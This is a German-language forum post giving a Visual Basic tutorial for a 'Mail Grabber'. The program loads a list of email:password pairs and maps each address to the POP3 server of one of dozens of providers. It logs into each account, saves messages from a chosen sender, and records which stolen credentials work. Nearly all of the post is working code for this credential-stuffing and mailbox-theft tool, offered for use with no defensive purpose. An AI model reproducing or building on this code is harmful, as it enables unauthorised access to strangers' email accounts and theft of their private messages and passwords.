MiZ 8 Posted May 8 Share Posted May 8 Hallo, da ich hier neu auf dem Forum bin und ich mit Visual Basic und C# (Sharp) arbeite, gebe ich nun ein kleines Tutorial, wie man ein eigenen "Mail Grabber" programmieren kann mit Visual Basic. VB ist dafür gut geeignet. Einleitung Ihr benötigt OpenPOP.dll und MIMEParser.dll - Download Visual Studio Brain.exe Step 1 Legt ein neues Projekt an (Windows-Form Applikation). Fügt beide DLLs als Verweis hinzu. Ihr benötigt 3 Textboxen, 3 Buttons, 2 Label und eine Progressbar. 1. Textbox = Mail-Passwort Liste. | 2. Textbox = Ergebnis-Pfad / Speichern der Resultate | 3. Textbox = Menge der Threads. 1. Button = OpenFileDialog öffnen, um Mail-Passwort Liste auszuwählen | 2. Button für den Ergebnis-Pfad | 3. Start Button. 1. Label = Aktueller Thread, der läuft | 2. Label = Wie viele Ergebnisse gefunden wurden. Step 2: Über der Klasse kommt folgendes: Imports System.Threading Imports OpenPOP.Mime Imports OpenPOP.Pop3 Public Cla.... Nun brauchen wir ein paar Variablen, um Einträge machen zu können. Public Class FormName Dim MailPasswordList as List(Of String) Dim ValidListe As New List(Of String) Dim NeuerThread as Thread Private Threads As New List(Of Thread) Dim MailHost As String Dim Port As Integer Jetzt geht ihr zurück in auf die Form und drückt Doppelklick auf den ersten Button und füllen die Mail-Passwort Liste. Private Sub Button1_Click.... Dim OpenDialog_ As New OpenFileDialog OpenDialog_.Filter = "Textdatei (.txt)|*.txt" If OpenDialog_.ShowDialog = DialogResult.OK Then TextBox1.Text = OpenDialog_.FileName MailPasswordList = New List(Of String) MailPasswordList.AddRange(File.ReadAllLines(OpenDialog_.FileName)) ProgressBar1.Value = 0 ProgressBar1.Maximum = OpenDialog_.Count End If End S.... Zurück zur Form und Doppelklick auf Button 2. Nun legen wir Fest, wohin die Valid-Liste gespeichert werden soll. Private Sub Button2_Cl.... Dim FolderDialog_ As New FolderBrowserDialog If FolderDialog_.ShowDialog = DialogResult.OK Then TextBox2.Text = FolderDialog_.SelectedPath & "\Programmname" If Not My.Computer.FileSystem.DirectoryExists(FolderDialog_.SelectedPath & "\Programmname") Then MkDir(FolderDialog_.SelectedPath & "\Programmname") End If End If End S... Super! Nun wird die Mail-Passwort geladen und der Speicher-Pfad wurde erfolgreich bestimmt. Nun fangen wir an, dein Grabber zum Laufen zu bringen! Doppelklick auf Button 3! Private Sub Button3_Click.... If MailPasswordList.Count > 0 AndAlso Not String.IsNullOrEmpty(TextBox1.Text) AndAlso Not String.IsNullOrEmpty(TextBox2.Text) Then ValidListe = New List(Of String) Button1.Enable = False Button2.Enable = False Button3.Enable = False StartMyThreads() End If End Sub Nun erstellen wir eine neue Sub, die "StartMyThreads" heißen wird. Dort werden die Threads definiert und "konfiguriert". Private Function SplitIntoChunks(keys As List(Of String), chunkSize As Integer) As List(Of List(Of String)) Return keys. Select(Function(x, i) New With {Key .Index = i, Key .Value = x}). GroupBy(Function(x) (x.Index \ chunkSize)). Select(Function(x) x.Select(Function(v) v.Value).ToList()). ToList() End Function Sub StartMyThreads() Dim threadCount As Integer = CType(TextBox3.Text, Int32) Dim teileProThread As Integer = CType(Math.Ceiling(MailPasswordList.Count / threadCount), Int32) Dim chunks = SplitIntoChunks(MailPasswordList, teileProThread) For i = 0 To threadCount - 1 NeuerThread = New Thread(AddressOf ThreadWorkingSub) NeuerThread.Name = i NeuerThread.IsBackground = True NeuerThread.Start(chunks(i).ToArray()) Threads.Add(NeuerThread) Next End Sub Nun kommen endlich die Funktionen, die das Programm zum laufen bringen soll! Private Sub ThreaWorkingSub(ByVal abarbeiten As String()) For Each i As String In abarbeiten Me.Invoke(Sub() Label1.Text = i) Try Dim separator As String = ":" Dim split = i.Split(separator, 2, StringSplitOptions.RemoveEmptyEntries) Dim DieMailAdresse As String = split(0) Dim DasPasswort As String = split(1) Dim Endungen As String Endungen = DieMailAdresse.ToLower 'Hab die Liste aus einem anderen Tool entnommen - Erklärt sich alles von selbst If Endungen.Contains("@t-online") Then MailHost = "securepop.t-online.de" Port = 995 ElseIf Endungen.Contains("@gmx.net") Then MailHost = "pop.gmx.net" Port = 995 ElseIf Endungen.Contains("@gmx.de") Then MailHost = "pop.gmx.net" Port = 995 ElseIf Endungen.Contains("@web.de") Then MailHost = "pop3.web.de" Port = 995 ElseIf Endungen.Contains("@web.net") Then MailHost = "pop3.web.de" Port = 995 ElseIf Endungen.Contains("@aikq.de") Then MailHost = "aikq.de" Port = 995 ElseIf Endungen.Contains("@aol.com") Then MailHost = "pop.aol.com" Port = 995 ElseIf Endungen.Contains("@aol.de") Then MailHost = "pop.aim.com" Port = 995 ElseIf Endungen.Contains("@arcor.de") Then MailHost = "pop3.arcor.de" Port = 995 ElseIf Endungen.Contains("bluemail.ch") Then MailHost = "pop3s.bluewin.ch" Port = 995 ElseIf Endungen.Contains("@directbox.com") Then MailHost = "pop3.directbox.com" Port = 995 ElseIf Endungen.Contains("@eclipso.de") Then MailHost = "mail.eclipso.de" Port = 995 ElseIf Endungen.Contains("@firemail.de") Then MailHost = "firemail.de" Port = 995 ElseIf Endungen.Contains("@freenet.de") Then MailHost = "mx.freenet.de" Port = 995 ElseIf Endungen.Contains("@freenet.net") Then MailHost = "mx.freenet.de" Port = 995 ElseIf Endungen.Contains("@gmail.com") Then MailHost = "pop.gmail.com" Port = 995 ElseIf Endungen.Contains("@googlemail.com") Then MailHost = "pop.gmail.com" Port = 995 ElseIf Endungen.Contains("@me.com") Then MailHost = "imap.mail.me.com" Port = 993 ElseIf Endungen.Contains("@mail.de") Then MailHost = "pop.mail.de" Port = 995 ElseIf Endungen.Contains("@mailbox.org") Then MailHost = "pop3.mailbox.org" Port = 995 ElseIf Endungen.Contains("@BigCityMail.de") Then MailHost = "mail.mexmail.de" Port = 995 ElseIf Endungen.Contains("@mexmail.de") Then MailHost = "mail.mexmail.de" Port = 995 ElseIf Endungen.Contains("@office365.com") Then MailHost = "outlook.office365.com" Port = 995 ElseIf Endungen.Contains("@Outlook.com") Then MailHost = "pop-mail.outlook.com" Port = 995 ElseIf Endungen.Contains("@Outlook.de") Then MailHost = "pop-mail.outlook.com" Port = 995 ElseIf Endungen.Contains("@live.com") Then MailHost = "pop-mail.outlook.com" Port = 995 ElseIf Endungen.Contains("@live.de") Then MailHost = "pop-mail.outlook.com" Port = 995 ElseIf Endungen.Contains("@live.net") Then MailHost = "pop-mail.outlook.com" Port = 995 ElseIf Endungen.Contains("@hotmail.net") Then MailHost = "pop-mail.outlook.com" Port = 995 ElseIf Endungen.Contains("@hotmail.de") Then MailHost = "pop-mail.outlook.com" Port = 995 ElseIf Endungen.Contains("@hotmail.com") Then MailHost = "pop-mail.outlook.com" Port = 995 ElseIf Endungen.Contains("@mailbox.org") Then MailHost = "pop3.mailbox.org" Port = 995 ElseIf Endungen.Contains("@smart-mail.de") Then MailHost = "pop.smart-mail.de" Port = 995 ElseIf Endungen.Contains("@sxmail.de") Then MailHost = "pop3.sxmail.de" Port = 995 ElseIf Endungen.Contains("@yahoo.com") Then MailHost = "pop.mail.yahoo.com" Port = 995 ElseIf Endungen.Contains("@upcmail") Then MailHost = "mail.upcmail.at" Port = 995 ElseIf Endungen.Contains("@ewe.net") Then MailHost = "pop.ewe.net" Port = 995 ElseIf Endungen.Contains("@kabelmail.de") Then MailHost = "pop3.kabelmail.de" Port = 995 ElseIf Endungen.Contains("@kabelhomepage.de") Then MailHost = "pop.kabelhomepage.de" Port = 995 ElseIf Endungen.Contains("@mdcc-fun.de") Then MailHost = "mail.mdcc-fun.de" Port = 995 ElseIf Endungen.Contains("@netaachen.de") Then MailHost = "pop3.netaachen.de" Port = 995 ElseIf Endungen.Contains("@netcologne.de") Then MailHost = "pop3.netcologne.de" Port = 995 ElseIf Endungen.Contains("@o2online.de") Then MailHost = "pop3.o2online.de" Port = 995 ElseIf Endungen.Contains("@osnanet.de") Then MailHost = "pop.osnanet.de" Port = 995 ElseIf Endungen.Contains("@pyur.net") Then MailHost = "pop3.pyur.net" Port = 995 ElseIf Endungen.Contains("@unity-mail.de") Then MailHost = "mail.unity-mail.de" Port = 995 ElseIf Endungen.Contains("@vodafonemail.de") Then MailHost = "pop.vodafonemail.de" Port = 995 ElseIf Endungen.Contains("@wtnet.de") Then MailHost = "mail.wtnet.de" Port = 995 End If Dim pop3 As New Pop3Client pop3.Connect(MailHost, Port, True) pop3.Authenticate(DieMailAdresse, DasPasswort) For ii As Integer = 1 To pop3.GetMessageCount Dim m As OpenPOP.Mime.Header.MessageHeader = pop3.GetMessageHeaders(ii) If m.From.Address.Contains("Nach welcher Mail gesucht werden soll") Then Try : MkDir(TextBox2.Text & "\" & DieMailAdresse) : Catch ex As Exception : End Try Dim ZufallsZahl As New Random Dim DieZufallsZahl As Integer DieZufallsZahl = ZufallsZahl.Next(10000000, 999999999) 'Wird die Nachricht laden Dim mm As OpenPOP.Mime.Message = pop3.GetMessage(ii) Try 'Mail abspeichern mit Betreff FindHtmlInMessage(mm, TextBox2.Text & "\" & DieMailAdresse & "\" & m.Subject & " [" & DieZufallsZahl & "].html") Catch ex As Exception 'Falls Betreff Zeichen hat, die nicht zugelassen werden als Dateiname, anders abspeichern FindHtmlInMessage(mm, TextBox2.Text & "\" & DieMailAdresse & "\" & DieZufallsZahl & ".html") End Try 'Login Daten abspeichern Dim AbSpeicherZeilen As New StringBuilder AbSpeicherZeilen.AppendLine("Mail: " & DieMailAdresse) AbSpeicherZeilen.AppendLine("Password: " & DasPasswort) ValidListe.Add(AbSpeicherZeilen.ToString()) File.WriteAllLines(Path.Combine(TextBox2.Text & "\" & DieMailAdresse, "AnmeldeDaten.txt"), ValidListe.ToArray()) End If Next ProgressBar1.Invoke(Sub() ProgressBar1.Increment(1)) pop3.Disconnect() Catch ex As Exception ProgressBar1.Invoke(Sub() ProgressBar1.Increment(1)) End Try Next Threads.Remove(Thread.CurrentThread) ThreadFinishedWork() End Sub Nun werden wir den Schluss noch definieren. Wir brauchen eine Sub, die sagt, wann die Liste erfolgreich abgearbeitet wurde. Public Sub ThreadFinishedWork() If Threads.Count > 0 Then Return MessageBox.Show("Liste wurde abgearbeitet!", "Done", MessageBoxButtons.OK) ProgressBar1.Invoke(Sub() ProgressBar1.Value = 0) End Sub Herzlichen Glückwunsch! Du hast deinen eigenen "Mail Grabber" programmiert. Alles etwas unsauber geschrieben und nicht gut erklärt aber wer sich ein bisschen damit auseinander setzt, wird es schon verstehen 🙂 Link to post Share on other sites
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now